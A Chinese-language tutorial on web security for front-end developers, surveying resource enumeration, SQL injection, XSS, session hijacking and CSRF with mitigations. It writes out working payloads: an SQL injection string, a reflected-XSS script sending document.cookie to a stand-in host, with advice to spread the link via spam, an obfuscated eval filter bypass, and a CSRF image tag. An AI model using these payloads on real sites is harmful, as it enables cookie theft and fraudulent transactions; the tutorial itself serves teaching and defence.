淺談WEB安全性(前端向)
先不說上面的「通過腳本把信息發送給伺服器」是什麼情況,我們先來聊一聊WEB基本攻擊有哪些。
WEB基本攻擊大致可以分為三大類—— 「資源枚舉」、「參數操縱」 和 「其它攻擊」。
資源枚舉有時候受前人(技術前輩也好,你所接任的上一位員工也好)的影響,我們可能會約定成俗地去做某件事情,比如用駱駝命名法法來命名函數名、用JSDoc的方式來書寫注釋,這樣會讓你的團隊工作更加規範。然後有一天要給項目做備份了,就直接把該項目壓縮為rar文件,命名為什麼呢?首選的自然是「bak.rar」,你看資料庫的備份的形式不也是.bak嘛。
於是乎,如果壓縮包所在的地址是可訪問的,那麼所有人都可以輕鬆地下載到這個"bak.rar"文件,你的項目也不存在什麼小秘密了(即使夏天夏天悄悄地過去)。
這就是「資源枚舉」,別有用心的人會遍歷你站點所有可訪問的目錄,然後把一些常見的備胎文件名(比如「sql.bak」、「index-副本.html」)一個個都枚舉一下,如果運氣好枚舉到了就直接下載。
於是跟隨主流在這裡不是好的事情,對於重要的東西,要麼放在外人不可訪問的地方,要麼應當給它起一個不那麼好猜的名字。
資源枚舉也不僅僅局限於瞎找東西,聰明的人會利用線索來更好地猜東西。
假設有一個站點走的偽靜態的高冷路線,不想讓別人知道它所使用的語言和資料庫,但沒有配置好後端錯誤信息的提示。那麼「別有用心」的朋友就可以在這個站點裡的某個搜索結果頁面篡改url參數,導致資料庫查詢錯誤而返回資料庫錯誤信息頁面,或者輸入一個根本不存在的子頁面地址來獲取錯誤信息,進而可判斷該站點到底用的是什麼資料庫或動態語言。
參數操縱這裡包括了SQL注入、XPath注入、cgi命令執行,還有XXS和會話劫持等。前三個的攻擊主要是在服務端觸發的,後二者的攻擊則是側重於客戶端。
SQL注入這塊不想細聊了,相信很多朋友都聽到耳朵長繭,不外乎是提交含有SQL操作語句的信息給後端,後端如果沒有做好過濾就執行該語句,攻擊者自然可以隨意操縱該站點的資料庫。
比如有一個圖書館站點book.com,你點進一本書的詳情頁面,其url是這樣的:
book.com/book?id=100
說明這本書在資料庫中的鍵值是100,後端收到url參數後就執行了資料庫查詢操作:
select * from booktable where id="100"
那麼如果我們把url更改為
book.com/book?id=100"or"1"="1
那麼資料庫操作執行就變成了:
select * from booktable where id="100"or"1"="1"
從而取出了整個booktable表單的全部數據。
XPath注入跟SQL注入差不多,只不過這裡的資料庫走的xml格式,攻擊方式自然也得按xml查找的語法來了,具體可看這裡。
cgi命令執行指的是用戶遠程訪問cgi腳本時,通過提交惡意的參數讓伺服器執行相關的cgi命令來獲取信息甚至操縱伺服器。有興趣的朋友可以看下這裡。
對於這幾個攻擊,我們需要做的自然是對提交參數的過濾,最好是前端過濾一遍,後端也過濾一遍(後端的過濾和攔截是最重要的,畢竟通過在瀏覽器禁用腳本的配置可以躲過前端的過濾)。
XSS(cross-site scripting跨域腳本攻擊)攻擊也是最常見的WEB攻擊之一,其重點是「跨域」和「客戶端執行」。我們還是拿那個圖書館網站book.com來調侃下。
假設頁面右上角有一個搜索書籍的地方,你隨便輸入一本壓根就沒有的書,比如「有錢任性指南」,然後點擊「搜索」按鈕。這時候頁面(book.com/search?name=有錢任性指南)會返回一段信息:
您搜索的書籍「有錢任性指南」不存在
好的,那我們輸入這個怎樣:
<script>alert("沒有書開個毛線書店啊")</script>
假設這個圖書館站點沒有對數據做任何過濾,而且會原封不動地把用戶輸入的數據展示回來,那麼返回的頁面自然也會返回這段腳本,從而執行它。
但是這樣不好玩,既然要做攻擊,我們就要獲取用戶的數據,要獲取數據自然要把信息傳回我們的伺服器(假設接收信息的地址是http://vajoy/get),那咱們可以這樣寫:
<script>document.location="http://vajoy/get?cookie="+document.cookie</script>
不過這樣不好玩啊,收到的總是我們自己的數據,我們要收集的應該是別人的cookie信息啊!
小意思,不妨通過QQ群,或者通過群發垃圾郵件,來讓其他人點擊這個地址:
book.com/search?name=<script>document.location="http://vajoy/get?cookie="+document.cookie</script>
這種便是XSS攻擊中的一種,稱為「Reflected XSS」——基於反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起WEB攻擊。
與其相近的是「DOM-based or local XSS」——基於DOM或本地的XSS攻擊。拿我現在工作的項目做比方——為用戶提供免費的wifi,但是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本,從而植入懸浮廣告(當然你可以關閉它),這貌似沒什麼,但如果插入的腳本是獲取你敏感數據的惡意腳本那就不一樣了。像這種直接存在於頁面,無須經過伺服器返回腳本處理就直接跨域發送用戶信息的行為就是基於本地的XSS攻擊。
還有最後一種稱為「Stored XSS」——基於存儲的XSS攻擊。它是通過貼吧啊博客園啊等地方來發表帶有惡意跨域腳本的帖子或文章,從而把惡意腳本存儲在裡面,每個訪問該帖子/文章的人就會中招。
還記得一開始載入本文章的alert彈窗么?假設博客園對文章進行了過濾,把全部「alert」啊、"eval"啊等敏感字元都過濾掉,那我們怎麼辦?我們可以這樣:
<script type="text/javascript">var x="eva"+String.fromCharCode(108),y=window,e="a"+String.fromCharCode(108)+"ert("歡迎收看本文章")";y[x]["call"](this,e);</script>
照樣實現我們想要的彈窗無誤。
對於XSS的預防自然也是對提交數據的過濾,另外還有一點——謹慎返回用戶提交的內容!
會話劫持百度百科有個很有意思的引喻——「在現實生活中,比如你去市場買菜,在交完錢後你要求先去干一些別的事情,稍候再來拿菜;如果這個時候某個陌生人要求把菜拿走,賣菜的人會把菜給陌生人嗎?」
這個比喻很有意思,我們常規訪問一個http網站時是與其伺服器建立了一次HTTP會話。假設你宿舍樓的「朋友」都跟你處於同一個子網上,其中有人想偽裝成你來劫持你的HTTP會話,那麼伺服器會把菜,哦不,是信息返回給那個人嗎?
答案是肯定的,因為HTTP會話並不安全。它在經過TCP/IP協議封裝傳輸數據時,在傳輸的數據的每一個位元組中插入一個32位的序列號碼,這個序列號用來保持跟蹤數據和提供可靠性(序列號是依循數據順序逐步遞增的)。第三方攻擊者可以通過嗅探的方式來獲取用戶與伺服器通訊中的報文信息,如果他能猜測到數據中的序列號,那便能把合法的用戶斷開,偽裝成合法用戶讓自己控制後續的通話。
對於會話劫持的預防,可以走SSH協議、增強網路安全系統健壯性,也可以使用無序的UUID來替代通訊中的序列號碼(而非逐步遞增)。
其它攻擊其它攻擊包括有前面未提及的CSRF攻擊、釣魚攻擊和拒絕服務攻擊等。
CSRF(cross-site request forgery),翻譯為跨站請求偽造,與XSS非常相似,但XSS是利用用戶對當前網站的信任來發起攻擊,而CSRF是利用網站對用戶的信任來發起攻擊。
依舊拿上述的圖書館站點打個比方,如果它的安全機制很鬆懈——只要用戶登錄了網站後,只要沒關閉瀏覽器,在任何情況都可以作為一個已通過身份驗證的用戶來做購書、借書操作(無須重新登錄或者輸入支付密碼什麼的,畢竟已經登錄驗證過一次了嘛)。
那麼我們給一位用戶發送一份郵件怎樣,裡面放有一條轉向購書執行頁面的鏈接。。。噢不,那樣還得用戶點擊它,我們想讓用戶看到的時候就立刻執行了購書操作,我們可以這樣做——在郵件中插入一張圖片:
<img src="http://book.com/pay?bookid=100"/>
img、script、iframe標籤都是不受同源策略限制的,假設你使用的郵箱很直白地給用戶即時顯示這張圖片,而該用戶又剛好登錄了book.com且沒有關閉瀏覽器,那麼src里的連接就會立刻訪問book.com/pay頁面,並按照已通過身份驗證的情況來處理,從而做了購書的操作。
相信現在你會很清楚為何現在的郵箱都不會直接顯示郵件里的圖片了吧——都是為了你的安全考慮。
對於CSRF攻擊,我們所能做的可以有:
1. 檢查報頭中的Referer參數確保請求發自正確的網站(但XHR請求可調用setRequestHeader方法來修改Referer報頭);
2. 對於任何重要的請求都需要重新驗證用戶的身份;
3. 創建一個唯一的令牌(Token),將其存在服務端的session中及客戶端的cookie中,對任何請求,都檢查二者是否一致。
釣魚攻擊指的是網站的偽造,比如ta0bao.com,然後在其中應用XSS等方式發起攻擊。
拒絕服務(DoS)指的是向網站發起洪水一樣的請求(Traffic Floor),導致伺服器超負荷並關閉,處理方法常規是採用QoS(Quality of Service)的軟硬體解決方案。
攻擊層面攻擊層面指的是有惡意的人可能會從哪些地方來入手製造麻煩,常見的攻擊層面有三種:
一. 傳統WEB應用程序1. 表單輸入(甚至包括hidden控制項的內容);
2. cookie(通過修改cookie內容也可以達到SQL注入攻擊的目的);
3. 報頭(有時候為了方便統計來源數據,伺服器會把客戶端發來報頭的Referer、User-Agent信息存到資料庫中,那麼通過修改報頭信息也可以起到SQL注入工具目的)
4. 請求參數
5. 上傳文件(在文件內攜帶惡意代碼)
二. Web服務1. 上述「傳統WEB服務」的全部方法;
2. WSDL文檔(暴露了服務端的每個方法及其使用方式)
三. AJAX應用程序即上述的「一」和「二」的合集
解決方案
綜上所述,我們可以這樣審視我們的WEB站點:
1. 永遠不要相信客戶端傳來的任何信息,對這些信息都應先進行編碼或過濾處理;
2. 謹慎返回用戶輸入的信息;
3. 使用黑名單和白名單處理(即「不允許哪些敏感信息」或「只允許哪些信息」,白名單的效果更好但局限性高);
4. 檢查、驗證請求來源,對每一個重要的操作都進行重新驗證;
5. 使用SSL防止第三方監聽通信(但無法阻止XSS、CSRF、SQL注入攻擊);
6. 不要將重要文件、備份文件存放在公眾可訪問到的地方;
7. 會話ID無序化;
8. 對用戶上傳的文件進行驗證(不單單是格式驗證,比方一張gif圖片還應將其轉為二進位並驗證其每幀顏色值<無符號8位>和寬高值<無符號16位>);
9. WSDL文檔應當要求用戶註冊後才能獲取;
10. 。。。。。。。。
雖然我們有一些必要的手段來防止WEB攻擊,但永遠不會有一枚silver bullet來徹底解決問題,先不談那些數不勝數的已知的、可被攻擊的漏洞,對於謎一樣的0-day漏洞,我們所能做的只是提前發現並及時修補它們。
推薦閱讀:
※摘要 ▏採用透皮雌二醇加微粒化孕酮進行HRT優化是一種更為安全的HRT
※女人說: 「你給不了我安全感」, 男人該如何應對?
※作為平民,為應對恐怖襲擊,未發生時、發生時、發生後,我可以做些什麼?
※「第一課」 | 「安全周」里,看看萌寶們都學了啥?
※4096位RSA演算法被側信道攻擊破解,這對當前的IT界安全有什麼影響?